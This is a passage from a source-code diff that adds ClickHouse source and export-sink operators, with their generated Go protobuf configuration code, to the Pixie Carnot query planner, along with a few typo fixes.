pb_.batch_size(), + pb_.start_time(), pb_.end_time(), pb_.timestamp_column(), + pb_.partition_column()); +} + +Status ClickHouseSourceOperator::Init(const planpb::ClickHouseSourceOperator& pb) { + pb_ = pb; + is_initialized_ = true; + return Status::OK(); +} + +StatusOr ClickHouseSourceOperator::OutputRelation( + const table_store::schema::Schema&, const PlanState&, + const std::vector& input_ids) const { + DCHECK(is_initialized_) << "Not initialized"; + if (!input_ids.empty()) { + return error::InvalidArgument("Source operator cannot have any inputs"); + } + table_store::schema::Relation r; + for (int i = 0; i < pb_.column_types_size(); ++i) { + r.AddColumn(static_cast(pb_.column_types(i)), pb_.column_names(i)); + } + return r; +} + +/** + * ClickHouse Export Sink Operator Implementation. + */ + +Status ClickHouseExportSinkOperator::Init(const planpb::ClickHouseExportSinkOperator& pb) { + pb_ = pb; + is_initialized_ = true; + return Status::OK(); +} + +StatusOr ClickHouseExportSinkOperator::OutputRelation( + const table_store::schema::Schema&, const PlanState&, const std::vector&) const { + DCHECK(is_initialized_) << "Not initialized"; + // There are no outputs. + return table_store::schema::Relation(); +} + +std::string ClickHouseExportSinkOperator::DebugString() const { + return absl::Substitute("Op:ClickHouseExportSink(table=$0)", pb_.table_name()); +} + /** * OTel Export Sink Operator Implementation. */ diff --git a/src/carnot/plan/operators.h b/src/carnot/plan/operators.h index 8586f6eb976..d77b5d6b18c 100644 --- a/src/carnot/plan/operators.h +++ b/src/carnot/plan/operators.h @@ -359,6 +359,69 @@ class EmptySourceOperator : public Operator { std::vector column_idxs_; }; +class ClickHouseSourceOperator : public Operator { + public: + explicit ClickHouseSourceOperator(int64_t id) + : Operator(id, planpb::CLICKHOUSE_SOURCE_OPERATOR) {} + ~ClickHouseSourceOperator() override = default; + + StatusOr OutputRelation( + const table_store::schema::Schema& schema, const PlanState& state, + const std::vector& input_ids) const override; + Status Init(const planpb::ClickHouseSourceOperator& pb); + std::string DebugString() const override; + + std::string host() const { return pb_.host(); } + int32_t port() const { return pb_.port(); } + std::string username() const { return pb_.username(); } + std::string password() const { return pb_.password(); } + std::string database() const { return pb_.database(); } + std::string query() const { return pb_.query(); } + int32_t batch_size() const { return pb_.batch_size(); } + bool streaming() const { return pb_.streaming(); } + std::vector column_names() const { + return std::vector(pb_.column_names().begin(), pb_.column_names().end()); + } + std::vector column_types() const { + std::vector types; + types.reserve(pb_.column_types_size()); + for (const auto& type : pb_.column_types()) { + types.push_back(static_cast(type)); + } + return types; + } + std::string timestamp_column() const { return pb_.timestamp_column(); } + std::string partition_column() const { return pb_.partition_column(); } + int64_t start_time() const { return pb_.start_time(); } + int64_t end_time() const { return pb_.end_time(); } + + private: + planpb::ClickHouseSourceOperator pb_; +}; + +class ClickHouseExportSinkOperator : public Operator { + public: + explicit ClickHouseExportSinkOperator(int64_t id) + : Operator(id, planpb::CLICKHOUSE_EXPORT_SINK_OPERATOR) {} + ~ClickHouseExportSinkOperator() override = default; + + StatusOr OutputRelation( + const table_store::schema::Schema& schema, const PlanState& state, + const std::vector& input_ids) const override; + Status Init(const planpb::ClickHouseExportSinkOperator& pb); + std::string DebugString() const override; + + const planpb::ClickHouseConfig& clickhouse_config() const { return pb_.clickhouse_config(); } + const std::string& table_name() const { return pb_.table_name(); } + const ::google::protobuf::RepeatedPtrField& + column_mappings() const { + return pb_.column_mappings(); + } + + private: + planpb::ClickHouseExportSinkOperator pb_; +}; + class OTelExportSinkOperator : public Operator { public: explicit OTelExportSinkOperator(int64_t id) : Operator(id, planpb::OTEL_EXPORT_SINK_OPERATOR) {} diff --git a/src/carnot/plan/plan_fragment.cc b/src/carnot/plan/plan_fragment.cc index 05a589f4276..462c4ca1cb2 100644 --- a/src/carnot/plan/plan_fragment.cc +++ b/src/carnot/plan/plan_fragment.cc @@ -98,6 +98,13 @@ Status PlanFragmentWalker::CallWalkFn(const Operator& op) { case planpb::OperatorType::OTEL_EXPORT_SINK_OPERATOR: PX_RETURN_IF_ERROR(CallAs(on_otel_sink_walk_fn_, op)); break; + case planpb::OperatorType::CLICKHOUSE_SOURCE_OPERATOR: + PX_RETURN_IF_ERROR(CallAs(on_clickhouse_source_walk_fn_, op)); + break; + case planpb::OperatorType::CLICKHOUSE_EXPORT_SINK_OPERATOR: + PX_RETURN_IF_ERROR( + CallAs(on_clickhouse_export_sink_walk_fn_, op)); + break; default: LOG(FATAL) << absl::Substitute("Operator does not exist: $0", magic_enum::enum_name(op_type)); return error::InvalidArgument("Operator does not exist: $0", magic_enum::enum_name(op_type)); diff --git a/src/carnot/plan/plan_fragment.h b/src/carnot/plan/plan_fragment.h index 39b1cea9ceb..f80090d9c30 100644 --- a/src/carnot/plan/plan_fragment.h +++ b/src/carnot/plan/plan_fragment.h @@ -76,6 +76,8 @@ class PlanFragmentWalker { using UDTFSourceWalkFn = std::function; using EmptySourceWalkFn = std::function; using OTelSinkWalkFn = std::function; + using ClickHouseSourceWalkFn = std::function; + using ClickHouseExportSinkWalkFn = std::function; /** * Register callback for when a memory source operator is encountered. @@ -181,6 +183,17 @@ class PlanFragmentWalker { on_otel_sink_walk_fn_ = fn; return *this; } + + PlanFragmentWalker& OnClickHouseSource(const ClickHouseSourceWalkFn& fn) { + on_clickhouse_source_walk_fn_ = fn; + return *this; + } + + PlanFragmentWalker& OnClickHouseExportSink(const ClickHouseExportSinkWalkFn& fn) { + on_clickhouse_export_sink_walk_fn_ = fn; + return *this; + } + /** * Perform a walk of the plan fragment operators in a topologically-sorted order. * @param plan_fragment The plan fragment to walk. @@ -206,6 +219,8 @@ class PlanFragmentWalker { UDTFSourceWalkFn on_udtf_source_walk_fn_; EmptySourceWalkFn on_empty_source_walk_fn_; OTelSinkWalkFn on_otel_sink_walk_fn_; + ClickHouseSourceWalkFn on_clickhouse_source_walk_fn_; + ClickHouseExportSinkWalkFn on_clickhouse_export_sink_walk_fn_; }; } // namespace plan diff --git a/src/carnot/planner/cgo_export.cc b/src/carnot/planner/cgo_export.cc index cc80e3cc438..211292d251f 100644 --- a/src/carnot/planner/cgo_export.cc +++ b/src/carnot/planner/cgo_export.cc @@ -126,21 +126,21 @@ char* PlannerCompileMutations(PlannerPtr planner_ptr, const char* mutation_reque auto planner = reinterpret_cast(planner_ptr); - auto dynamic_trace_or_s = planner->CompileTrace(mutation_request_pb); - if (!dynamic_trace_or_s.ok()) { - return ExitEarly(dynamic_trace_or_s.status(), resultLen); + auto mutations_ir_or_s = planner->CompileTrace(mutation_request_pb); + if (!mutations_ir_or_s.ok()) { + return ExitEarly(mutations_ir_or_s.status(), resultLen); } - std::unique_ptr trace = - dynamic_trace_or_s.ConsumeValueOrDie(); + std::unique_ptr mutations = + mutations_ir_or_s.ConsumeValueOrDie(); // If the response is ok, then we can go ahead and set this up. CompileMutationsResponse mutations_response_pb; - WrapStatus(&mutations_response_pb, dynamic_trace_or_s.status()); + WrapStatus(&mutations_response_pb, mutations_ir_or_s.status()); PLANNER_RETURN_IF_ERROR(CompileMutationsResponse, resultLen, - trace->ToProto(&mutations_response_pb)); + mutations->ToProto(&mutations_response_pb)); - // Serialize the tracing program into bytes. + // Serialize the mutations into bytes. return PrepareResult(&mutations_response_pb, resultLen); } diff --git a/src/carnot/planner/compiler/graph_comparison.h b/src/carnot/planner/compiler/graph_comparison.h index c6f75b92037..5e0f8a5641c 100644 --- a/src/carnot/planner/compiler/graph_comparison.h +++ b/src/carnot/planner/compiler/graph_comparison.h @@ -261,7 +261,7 @@ struct PlanGraphMatcher { } virtual void DescribeTo(::std::ostream* os) const { - *os << "equals to text probobuf: " << expected_plan_.DebugString(); + *os << "equals to text protobuf: " << expected_plan_.DebugString(); } virtual void DescribeNegationTo(::std::ostream* os) const { diff --git a/src/carnot/planner/compiler_state/compiler_state.h b/src/carnot/planner/compiler_state/compiler_state.h index cd2e7902f0c..c25a14fe64d 100644 --- a/src/carnot/planner/compiler_state/compiler_state.h +++ b/src/carnot/planner/compiler_state/compiler_state.h @@ -119,7 +119,8 @@ class CompilerState : public NotCopyable { int64_t max_output_rows_per_table, std::string_view result_address, std::string_view result_ssl_targetname, const RedactionOptions& redaction_options, std::unique_ptr endpoint_config, - std::unique_ptr plugin_config, DebugInfo debug_info) + std::unique_ptr plugin_config, DebugInfo debug_info, + std::unique_ptr clickhouse_config = nullptr) : relation_map_(std::move(relation_map)), table_names_to_sensitive_columns_(table_names_to_sensitive_columns), registry_info_(registry_info), @@ -130,7 +131,8 @@ class CompilerState : public NotCopyable { redaction_options_(redaction_options), endpoint_config_(std::move(endpoint_config)), plugin_config_(std::move(plugin_config)), - debug_info_(std::move(debug_info)) {} + debug_info_(std::move(debug_info)), + clickhouse_config_(std::move(clickhouse_config)) {} CompilerState() = delete; @@ -175,6 +177,7 @@ class CompilerState : public NotCopyable { planpb::OTelEndpointConfig* endpoint_config() { return endpoint_config_.get(); } PluginConfig* plugin_config() { return plugin_config_.get(); } const DebugInfo& debug_info() { return debug_info_; } + planpb::ClickHouseConfig* clickhouse_config() { return clickhouse_config_.get(); } private: std::unique_ptr relation_map_; @@ -191,6 +194,7 @@ class CompilerState : public NotCopyable { std::unique_ptr endpoint_config_ = nullptr; std::unique_ptr plugin_config_ = nullptr; DebugInfo debug_info_; + std::unique_ptr clickhouse_config_ = nullptr; }; } // namespace planner diff --git a/src/carnot/planner/distributed/splitter/splitter.h b/src/carnot/planner/distributed/splitter/splitter.h index 5ba2a997dc3..42227c1a705 100644 --- a/src/carnot/planner/distributed/splitter/splitter.h +++ b/src/carnot/planner/distributed/splitter/splitter.h @@ -54,7 +54,7 @@ struct BlockingSplitPlan { std::unique_ptr before_blocking; // The plan that occcurs after and including blocking nodes. std::unique_ptr after_blocking; - // The that has both the before and after blocking nodes. + // The plan that has both the before and after blocking nodes. std::unique_ptr original_plan; }; diff --git a/src/carnot/planner/distributedpb/distributed_plan.pb.go b/src/carnot/planner/distributedpb/distributed_plan.pb.go index 64787d1782a..c285696167d 100755 --- a/src/carnot/planner/distributedpb/distributed_plan.pb.go +++ b/src/carnot/planner/distributedpb/distributed_plan.pb.go @@ -581,6 +581,89 @@ func (m *OTelEndpointConfig) GetTimeout() int64 { return 0 } +type ClickHouseConfig struct { + Hostname string `protobuf:"bytes,1,opt,name=hostname,proto3" json:"hostname,omitempty"` + Host string `protobuf:"bytes,2,opt,name=host,proto3" json:"host,omitempty"` + Port int32 `protobuf:"varint,3,opt,name=port,proto3" json:"port,omitempty"` + Username string `protobuf:"bytes,4,opt,name=username,proto3" json:"username,omitempty"` + Password string `protobuf:"bytes,5,opt,name=password,proto3" json:"password,omitempty"` + Database string `protobuf:"bytes,6,opt,name=database,proto3" json:"database,omitempty"` +} + +func (m *ClickHouseConfig) Reset() { *m = ClickHouseConfig{} } +func (*ClickHouseConfig) ProtoMessage() {} +func (*ClickHouseConfig) Descriptor() ([]byte, []int) { + return fileDescriptor_30dce4250507a2af, []int{8} +} +func (m *ClickHouseConfig) XXX_Unmarshal(b []byte) error { + return m.Unmarshal(b) +} +func (m *ClickHouseConfig) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { + if deterministic { + return xxx_messageInfo_ClickHouseConfig.Marshal(b, m, deterministic) + } else { + b = b[:cap(b)] + n, err := m.MarshalToSizedBuffer(b) + if err != nil { + return nil, err + } + return b[:n], nil + } +} +func (m *ClickHouseConfig) XXX_Merge(src proto.Message) { + xxx_messageInfo_ClickHouseConfig.Merge(m, src) +} +func (m *ClickHouseConfig) XXX_Size() int { + return m.Size() +} +func (m *ClickHouseConfig) XXX_DiscardUnknown() { + xxx_messageInfo_ClickHouseConfig.DiscardUnknown(m) +} + +var xxx_messageInfo_ClickHouseConfig proto.InternalMessageInfo + +func (m *ClickHouseConfig) GetHostname() string { + if m != nil { + return m.Hostname + } + return "" +} + +func (m *ClickHouseConfig) GetHost() string { + if m != nil { + return m.Host + } + return "" +} + +func (m *ClickHouseConfig) GetPort() int32 { + if m != nil { + return m.Port + } + return 0 +} + +func (m *ClickHouseConfig) GetUsername() string { + if m != nil { + return m.Username + } + return "" +} + +func (m *ClickHouseConfig) GetPassword() string { + if m != nil { + return m.Password + } + return "" +} + +func (m *ClickHouseConfig) GetDatabase() string { + if m != nil { + return m.Database + } + return "" +} + type PluginConfig struct { StartTimeNs int64 `protobuf:"varint,1,opt,name=start_time_ns,json=startTimeNs,proto3" json:"start_time_ns,omitempty"` EndTimeNs int64 `protobuf:"varint,2,opt,name=end_time_ns,json=endTimeNs,proto3" json:"end_time_ns,omitempty"` @@ -589,7 +672,7 @@ type PluginConfig struct { func (m *PluginConfig) Reset() { *m = PluginConfig{} } func (*PluginConfig) ProtoMessage() {} func (*PluginConfig) Descriptor() ([]byte, []int) { - return fileDescriptor_30dce4250507a2af, []int{8} + return fileDescriptor_30dce4250507a2af, []int{9} } func (m *PluginConfig) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -639,7 +722,7 @@ type DebugInfo struct { func (m *DebugInfo) Reset() { *m = DebugInfo{} } func (*DebugInfo) ProtoMessage() {} func (*DebugInfo) Descriptor() ([]byte, []int) { - return fileDescriptor_30dce4250507a2af, []int{9} + return fileDescriptor_30dce4250507a2af, []int{10} } func (m *DebugInfo) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -683,7 +766,7 @@ type DebugInfo_OTelDebugAttribute struct { func (m *DebugInfo_OTelDebugAttribute) Reset() { *m = DebugInfo_OTelDebugAttribute{} } func (*DebugInfo_OTelDebugAttribute) ProtoMessage() {} func (*DebugInfo_OTelDebugAttribute) Descriptor() ([]byte, []int) { - return fileDescriptor_30dce4250507a2af, []int{9, 0} + return fileDescriptor_30dce4250507a2af, []int{10, 0} } func (m *DebugInfo_OTelDebugAttribute) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -734,13 +817,14 @@ type LogicalPlannerState struct { RedactionOptions *RedactionOptions `protobuf:"bytes,7,opt,name=redaction_options,json=redactionOptions,proto3" json:"redaction_options,omitempty"` OTelEndpointConfig *OTelEndpointConfig `protobuf:"bytes,8,opt,name=otel_endpoint_config,json=otelEndpointConfig,proto3" json:"otel_endpoint_config,omitempty"` PluginConfig *PluginConfig `protobuf:"bytes,9,opt,name=plugin_config,json=pluginConfig,proto3" json:"plugin_config,omitempty"` + ClickhouseConfig *ClickHouseConfig `protobuf:"bytes,11,opt,name=clickhouse_config,json=clickhouseConfig,proto3" json:"clickhouse_config,omitempty"` DebugInfo *DebugInfo `protobuf:"bytes,10,opt,name=debug_info,json=debugInfo,proto3" json:"debug_info,omitempty"` } func (m *LogicalPlannerState) Reset() { *m = LogicalPlannerState{} } func (*LogicalPlannerState) ProtoMessage() {} func (*LogicalPlannerState) Descriptor() ([]byte, []int) { - return fileDescriptor_30dce4250507a2af, []int{10} + return fileDescriptor_30dce4250507a2af, []int{11} } func (m *LogicalPlannerState) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -818,6 +902,13 @@ func (m *LogicalPlannerState) GetPluginConfig() *PluginConfig { return nil } +func (m *LogicalPlannerState) GetClickhouseConfig() *ClickHouseConfig { + if m != nil { + return m.ClickhouseConfig + } + return nil +} + func (m *LogicalPlannerState) GetDebugInfo() *DebugInfo { if m != nil { return m.DebugInfo @@ -833,7 +924,7 @@ type LogicalPlannerResult struct { func (m *LogicalPlannerResult) Reset() { *m = LogicalPlannerResult{} } func (*LogicalPlannerResult) ProtoMessage() {} func (*LogicalPlannerResult) Descriptor() ([]byte, []int) { - return fileDescriptor_30dce4250507a2af, []int{11} + return fileDescriptor_30dce4250507a2af, []int{12} } func (m *LogicalPlannerResult) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) @@ -888,6 +979,7 @@ func init() { proto.RegisterType((*RedactionOptions)(nil), "px.carnot.planner.distributedpb.RedactionOptions") proto.RegisterType((*OTelEndpointConfig)(nil), "px.carnot.planner.distributedpb.OTelEndpointConfig") proto.RegisterMapType((map[string]string)(nil), "px.carnot.planner.distributedpb.OTelEndpointConfig.HeadersEntry") + proto.RegisterType((*ClickHouseConfig)(nil), "px.carnot.planner.distributedpb.ClickHouseConfig") proto.RegisterType((*PluginConfig)(nil), "px.carnot.planner.distributedpb.PluginConfig") proto.RegisterType((*DebugInfo)(nil), "px.carnot.planner.distributedpb.DebugInfo") proto.RegisterType((*DebugInfo_OTelDebugAttribute)(nil), "px.carnot.planner.distributedpb.DebugInfo.OTelDebugAttribute") @@ -900,104 +992,111 @@ func init() { } var fileDescriptor_30dce4250507a2af = []byte{ - // 1549 bytes of a gzipped FileDescriptorProto + // 1651 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xa4, 0x57, 0x4f, 0x6f, 0x1b, 0xc7, - 0x15, 0xd7, 0x8a, 0x94, 0x48, 0x3e, 0x92, 0x12, 0x3d, 0xa2, 0x5c, 0x96, 0x48, 0x48, 0x97, 0x48, - 0x50, 0xc1, 0x76, 0x97, 0xa9, 0x12, 0x34, 0x69, 0x80, 0xb4, 0x11, 0x45, 0xc9, 0x62, 0xac, 0x26, - 0xea, 0x50, 0x06, 0x02, 0x1f, 0xba, 0x18, 0x72, 0x87, 0xe4, 0x22, 0xcb, 0xdd, 0xd5, 0xce, 0xac, - 0x21, 0xb5, 0x28, 0xd0, 0x1e, 0x7b, 0x6a, 0x3f, 0x46, 0x4f, 0xbd, 0xf5, 0xda, 0x6b, 0x7b, 0xf4, - 0x31, 0x27, 0x21, 0xa6, 0x2f, 0x3d, 0xe6, 0x0b, 0x14, 0x28, 0xe6, 0xcd, 0x2e, 0xb5, 0xa4, 0x09, - 0x48, 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, 0x00, 0x00, + 0x15, 0xd7, 0x8a, 0xb4, 0x44, 0x3e, 0x8a, 0x12, 0x3d, 0xa2, 0x5c, 0x96, 0x48, 0x48, 0x97, 0x48, + 0x50, 0xc1, 0x76, 0x97, 0xa9, 0x12, 0x34, 0x69, 0x80, 0xb4, 0x11, 0x25, 0xdb, 0x52, 0xac, 0x26, + 0xea, 0x50, 0x06, 0x02, 0x1f, 0xb2, 0x18, 0x72, 0x47, 0xe4, 0xc2, 0xcb, 0xdd, 0xd5, 0xcc, 0xac, + 0x2b, 0xb5, 0x28, 0xd0, 0x1e, 0x7b, 0x6a, 0x2f, 0xfd, 0x0e, 0x45, 0x0f, 0xfd, 0x08, 0xbd, 0xb6, + 0x47, 0x1f, 0x73, 0x12, 0x62, 0xfa, 0xd2, 0x63, 0xbe, 0x40, 0x81, 0x62, 0xde, 0xec, 0xae, 0x96, + 0x34, 0x01, 0x29, 0xcd, 0x45, 0x9a, 0x79, 0xef, 0xf7, 0x7e, 0xef, 0xcd, 0xbe, 0x3f, 0x33, 0x84, + 0x0f, 0xa5, 0x18, 0x76, 0x87, 0x4c, 0x04, 0xa1, 0xea, 0x46, 0x3e, 0x0b, 0x02, 0x2e, 0xba, 0xae, + 0x27, 0x95, 0xf0, 0x06, 0xb1, 0xe2, 0x6e, 0x34, 0xc8, 0xef, 0x1c, 0x8d, 0xb0, 0x23, 0x11, 0xaa, + 0x90, 0xb4, 0xa3, 0x73, 0xdb, 0xd8, 0xd9, 0x89, 0x9d, 0x3d, 0x63, 0xd7, 0xac, 0x8f, 0xc2, 0x51, + 0x88, 0xd8, 0xae, 0x5e, 0x19, 0xb3, 0x66, 0x5b, 0xfb, 0x63, 0x91, 0xd7, 0x35, 0x9a, 0x38, 0xf6, + 0xb4, 0x0f, 0xfd, 0x2f, 0x01, 0xbc, 0x35, 0x17, 0x50, 0x34, 0xe8, 0x5e, 0x79, 0x6d, 0xbe, 0x8b, + 0xda, 0x70, 0x32, 0x09, 0x83, 0xee, 0x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0x94, 0xef, 0xb2, 0xaf, 0xe0, 0xf6, 0x50, 0x4f, 0x88, 0xb1, 0x9e, 0x10, 0x29, 0x6f, + 0xe5, 0x86, 0x9f, 0x6c, 0x7e, 0xb6, 0xd0, 0xda, 0x15, 0x57, 0xc2, 0x7f, 0x08, 0x60, 0xda, 0x0d, + 0x5f, 0x07, 0xe6, 0x85, 0x7e, 0xef, 0xe6, 0x8d, 0x46, 0xcb, 0x6e, 0xba, 0xfc, 0xac, 0x58, 0xb2, + 0x6a, 0xcb, 0x9f, 0x15, 0x4b, 0x2b, 0xb5, 0xd5, 0xce, 0x9f, 0x2c, 0xa8, 0xcf, 0xf6, 0x85, 0x29, + 0x12, 0x72, 0x1f, 0x56, 0xcc, 0xcf, 0x37, 0x6c, 0xae, 0xca, 0xce, 0x26, 0xfe, 0x90, 0x49, 0x7e, + 0xd9, 0xd9, 0x7d, 0x5c, 0xd0, 0x04, 0x42, 0xf6, 0xa1, 0x88, 0x6f, 0x09, 0xd3, 0x38, 0xef, 0x7d, + 0xd7, 0x5b, 0x9d, 0xa2, 0x75, 0x6f, 0xef, 0xe5, 0xab, 0xd6, 0xd2, 0xd7, 0xaf, 0x5a, 0x4b, 0xdf, + 0xbe, 0x6a, 0x59, 0x7f, 0x98, 0xb6, 0xac, 0xbf, 0x4d, 0x5b, 0xd6, 0xbf, 0xa7, 0x2d, 0xeb, 0xe5, + 0xb4, 0x65, 0x7d, 0x33, 0x6d, 0x59, 0xff, 0x99, 0xb6, 0x96, 0xbe, 0x9d, 0xb6, 0xac, 0xbf, 0xbc, + 0x6e, 0x2d, 0xbd, 0x7c, 0xdd, 0x5a, 0xfa, 0xfa, 0x75, 0x6b, 0xe9, 0x59, 0x75, 0x86, 0x7a, 0xb0, + 0x82, 0x3f, 0xfa, 0xde, 0xff, 0x5f, 0x00, 0x00, 0x00, 0xff, 0xff, 0xd4, 0x09, 0xb7, 0x07, 0x45, + 0x0f, 0x00, 0x00, } func (this *MetadataInfo) Equal(that interface{}) bool { @@ -1333,6 +1432,45 @@ func (this *OTelEndpointConfig) Equal(that interface{}) bool { } return true } +func (this *ClickHouseConfig) Equal(that interface{}) bool { + if that == nil { + return this == nil + } + + that1, ok := that.(*ClickHouseConfig) + if !ok { + that2, ok := that.(ClickHouseConfig) + if ok { + that1 = &that2 + } else { + return false + } + } + if that1 == nil { + return this == nil + } else if this == nil { + return false + } + if this.Hostname != that1.Hostname { + return false + } + if this.Host != that1.Host { + return false + } + if this.Port != that1.Port { + return false + } + if this.Username != that1.Username { + return false + } + if this.Password != that1.Password { + return false + } + if this.Database != that1.Database { + return false + } + return true +} func (this *PluginConfig) Equal(that interface{}) bool { if that == nil { return this == nil @@ -1456,6 +1594,9 @@ func (this *LogicalPlannerState) Equal(that interface{}) bool { if !this.PluginConfig.Equal(that1.PluginConfig) { return false } + if !this.ClickhouseConfig.Equal(that1.ClickhouseConfig) { + return false + } if !this.DebugInfo.Equal(that1.DebugInfo) { return false } @@ -1652,6 +1793,21 @@ func (this *OTelEndpointConfig) GoString() string { s = append(s, "}") return strings.Join(s, "") } +func (this *ClickHouseConfig) GoString() string { + if this == nil { + return "nil" + } + s := make([]string, 0, 10) + s = append(s, "&distributedpb.ClickHouseConfig{") + s = append(s, "Hostname: "+fmt.Sprintf("%#v", this.Hostname)+",\n") + s = append(s, "Host: "+fmt.Sprintf("%#v", this.Host)+",\n") + s = append(s, "Port: "+fmt.Sprintf("%#v", this.Port)+",\n") + s = append(s, "Username: "+fmt.Sprintf("%#v", this.Username)+",\n") + s = append(s, "Password: "+fmt.Sprintf("%#v", this.Password)+",\n") + s = append(s, "Database: "+fmt.Sprintf("%#v", this.Database)+",\n") + s = append(s, "}") + return strings.Join(s, "") +} func (this *PluginConfig) GoString() string { if this == nil { return "nil" @@ -1690,7 +1846,7 @@ func (this *LogicalPlannerState) GoString() string { if this == nil { return "nil" } - s := make([]string, 0, 12) + s := make([]string, 0, 13) s = append(s, "&distributedpb.LogicalPlannerState{") if this.DistributedState != nil { s = append(s, "DistributedState: "+fmt.Sprintf("%#v", this.DistributedState)+",\n") @@ -1709,6 +1865,9 @@ func (this *LogicalPlannerState) GoString() string { if this.PluginConfig != nil { s = append(s, "PluginConfig: "+fmt.Sprintf("%#v", this.PluginConfig)+",\n") } + if this.ClickhouseConfig != nil { + s = append(s, "ClickhouseConfig: "+fmt.Sprintf("%#v", this.ClickhouseConfig)+",\n") + } if this.DebugInfo != nil { s = append(s, "DebugInfo: "+fmt.Sprintf("%#v", this.DebugInfo)+",\n") } @@ -2274,6 +2433,69 @@ func (m *OTelEndpointConfig) MarshalToSizedBuffer(dAtA []byte) (int, error) { return len(dAtA) - i, nil } +func (m *ClickHouseConfig) Marshal() (dAtA []byte, err error) { + size := m.Size() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBuffer(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ClickHouseConfig) MarshalTo(dAtA []byte) (int, error) { + size := m.Size() + return m.MarshalToSizedBuffer(dAtA[:size]) +} + +func (m *ClickHouseConfig) MarshalToSizedBuffer(dAtA []byte) (int, error) { + i := len(dAtA) + _ = i + var l int + _ = l + if len(m.Database) > 0 { + i -= len(m.Database) + copy(dAtA[i:], m.Database) + i = encodeVarintDistributedPlan(dAtA, i, uint64(len(m.Database))) + i-- + dAtA[i] = 0x32 + } + if len(m.Password) > 0 { + i -= len(m.Password) + copy(dAtA[i:], m.Password) + i = encodeVarintDistributedPlan(dAtA, i, uint64(len(m.Password))) + i-- + dAtA[i] = 0x2a + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = encodeVarintDistributedPlan(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0x22 + } + if m.Port != 0 { + i = encodeVarintDistributedPlan(dAtA, i, uint64(m.Port)) + i-- + dAtA[i] = 0x18 + } + if len(m.Host) > 0 { + i -= len(m.Host) + copy(dAtA[i:], m.Host) + i = encodeVarintDistributedPlan(dAtA, i, uint64(len(m.Host))) + i-- + dAtA[i] = 0x12 + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + copy(dAtA[i:], m.Hostname) + i = encodeVarintDistributedPlan(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + func (m *PluginConfig) Marshal() (dAtA []byte, err error) { size := m.Size() dAtA = make([]byte, size) @@ -2401,6 +2623,18 @@ func (m *LogicalPlannerState) MarshalToSizedBuffer(dAtA []byte) (int, error) { _ = i var l int _ = l + if m.ClickhouseConfig != nil { + { + size, err := m.ClickhouseConfig.MarshalToSizedBuffer(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = encodeVarintDistributedPlan(dAtA, i, uint64(size)) + } + i-- + dAtA[i] = 0x5a + } if m.DebugInfo != nil { { size, err := m.DebugInfo.MarshalToSizedBuffer(dAtA[:i]) @@ -2772,6 +3006,38 @@ func (m *OTelEndpointConfig) Size() (n int) { return n } +func (m *ClickHouseConfig) Size() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Hostname) + if l > 0 { + n += 1 + l + sovDistributedPlan(uint64(l)) + } + l = len(m.Host) + if l > 0 { + n += 1 + l + sovDistributedPlan(uint64(l)) + } + if m.Port != 0 { + n += 1 + sovDistributedPlan(uint64(m.Port)) + } + l = len(m.Username) + if l > 0 { + n += 1 + l + sovDistributedPlan(uint64(l)) + } + l = len(m.Password) + if l > 0 { + n += 1 + l + sovDistributedPlan(uint64(l)) + } + l = len(m.Database) + if l > 0 { + n += 1 + l + sovDistributedPlan(uint64(l)) + } + return n +} + func (m *PluginConfig) Size() (n int) { if m == nil { return 0 @@ -2857,6 +3123,10 @@ func (m *LogicalPlannerState) Size() (n int) { l = m.DebugInfo.Size() n += 1 + l + sovDistributedPlan(uint64(l)) } + if m.ClickhouseConfig != nil { + l = m.ClickhouseConfig.Size() + n += 1 + l + sovDistributedPlan(uint64(l)) + } return n } @@ -3045,6 +3315,21 @@ func (this *OTelEndpointConfig) String() string { }, "") return s } +func (this *ClickHouseConfig) String() string { + if this == nil { + return "nil" + } + s := strings.Join([]string{`&ClickHouseConfig{`, + `Hostname:` + fmt.Sprintf("%v", this.Hostname) + `,`, + `Host:` + fmt.Sprintf("%v", this.Host) + `,`, + `Port:` + fmt.Sprintf("%v", this.Port) + `,`, + `Username:` + fmt.Sprintf("%v", this.Username) + `,`, + `Password:` + fmt.Sprintf("%v", this.Password) + `,`, + `Database:` + fmt.Sprintf("%v", this.Database) + `,`, + `}`, + }, "") + return s +} func (this *PluginConfig) String() string { if this == nil { return "nil" @@ -3095,6 +3380,7 @@ func (this *LogicalPlannerState) String() string { `OTelEndpointConfig:` + strings.Replace(this.OTelEndpointConfig.String(), "OTelEndpointConfig", "OTelEndpointConfig", 1) + `,`, `PluginConfig:` + strings.Replace(this.PluginConfig.String(), "PluginConfig", "PluginConfig", 1) + `,`, `DebugInfo:` + strings.Replace(this.DebugInfo.String(), "DebugInfo", "DebugInfo", 1) + `,`, + `ClickhouseConfig:` + strings.Replace(this.ClickhouseConfig.String(), "ClickHouseConfig", "ClickHouseConfig", 1) + `,`, `}`, }, "") return s @@ -4705,6 +4991,235 @@ func (m *OTelEndpointConfig) Unmarshal(dAtA []byte) error { } return nil } +func (m *ClickHouseConfig) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowDistributedPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ClickHouseConfig: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ClickHouseConfig: illegal tag %d (wire type %d)", 